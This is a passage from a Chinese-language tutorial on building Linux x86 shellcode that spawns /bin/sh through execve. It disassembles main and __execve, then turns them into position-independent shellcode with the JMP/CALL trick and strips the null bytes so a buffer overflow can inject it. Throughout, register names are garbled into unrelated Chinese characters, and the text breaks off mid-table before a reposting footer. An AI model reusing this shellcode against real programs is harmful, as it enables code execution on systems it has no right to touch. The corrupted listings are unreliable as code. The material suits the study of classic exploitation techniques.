0x80002e6 <__execve 42>: popl 離
0x80002e7 <__execve 43>: movl 雙,%esp
0x80002e9 <__execve 45>: popl 雙
0x80002ea <__execve 46>: ret
0x80002eb <__execve 47>: nop
End of assembler dump.
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130 <main>: pushl 雙
0x8000131 <main 1>: movl %esp,雙
0x8000133 <main 3>: subl $0x8,%esp
这跟前面的例子相同,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
char *name[2];
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.
0x8000136 <main 6>: movl $0x80027b8,0xfffffff8(雙)
这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :
name[0] = "/bin/sh";
0x800013d <main 13>: movl $0x0,0xfffffffc(雙)
将NULL放入name[1]的内存单元中, 也就是相当于:
name[1] = NULL;
对execve()的调用从下面开始:
0x8000144 <main 20>: pushl $0x0
开始将参数以逆序压入堆栈, 第一个是NULL.
0x8000146 <main 22>: leal 0xfffffff8(雙),陎
0x8000149 <main 25>: pushl 陎
将name[]的起始地址压入堆栈
0x800014a <main 26>: movl 0xfffffff8(雙),陎
0x800014d <main 29>: pushl 陎
将字符串"/bin/sh"的地址压入堆栈
0x800014e <main 30>: call 0x80002bc <__execve>
调用execve() . call 指令首先将 EIP 压入堆栈
现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.
我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.
0x80002bc <__execve>: pushl 雙
0x80002bd <__execve 1>: movl %esp,雙
0x80002bf <__execve 3>: pushl 離
同样的入口处理
0x80002c0 <__execve 4>: movl $0xb,陎
将0xb(11)赋给eax , 这是execve()在系统中的索引号.
0x80002c5 <__execve 9>: movl 0x8(雙),離
将字符串"/bin/sh"的地址赋给ebx
0x80002c8 <__execve 12>: movl 0xc(雙),靫
将name[]的地址赋给ecx
0x80002cb <__execve 15>: movl 0x10(雙),韝
将NULL的地址赋给edx
0x80002ce <__execve 18>: int $0x80
产生系统调用,进入核心态运行.
看了上面的代码,现在我们能够把他精简为下面的汇编语言程式:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,陎
movl string_addr,離
leal string_addr,靫
leal null_string,韝
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程式执行时在内存中所处的位置,所以像:
movl string_addr,離
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们能够在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程式编码的字节长度,就能够使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时, CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就能够在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还能够很方便地存取string_addr和null_addr.
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,陎
movl %esi,離
leal 0x8(%esi),靫
leal 0xC(%esi),韝
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以''结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
我们知道C语言中的字符串以''结尾,strcpy等函数碰到''就结束运行.因此为了确保我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对他作最后一次改进,去掉其中的'':
原指令: 替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl 陎,陎
movl $0x0,0xc(%esi) movb 陎,0x7(%esi)
movl 陎,0xc(%esi)
--------------------------------------------------------
movl $0xb,陎 movb $0xb,%al
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




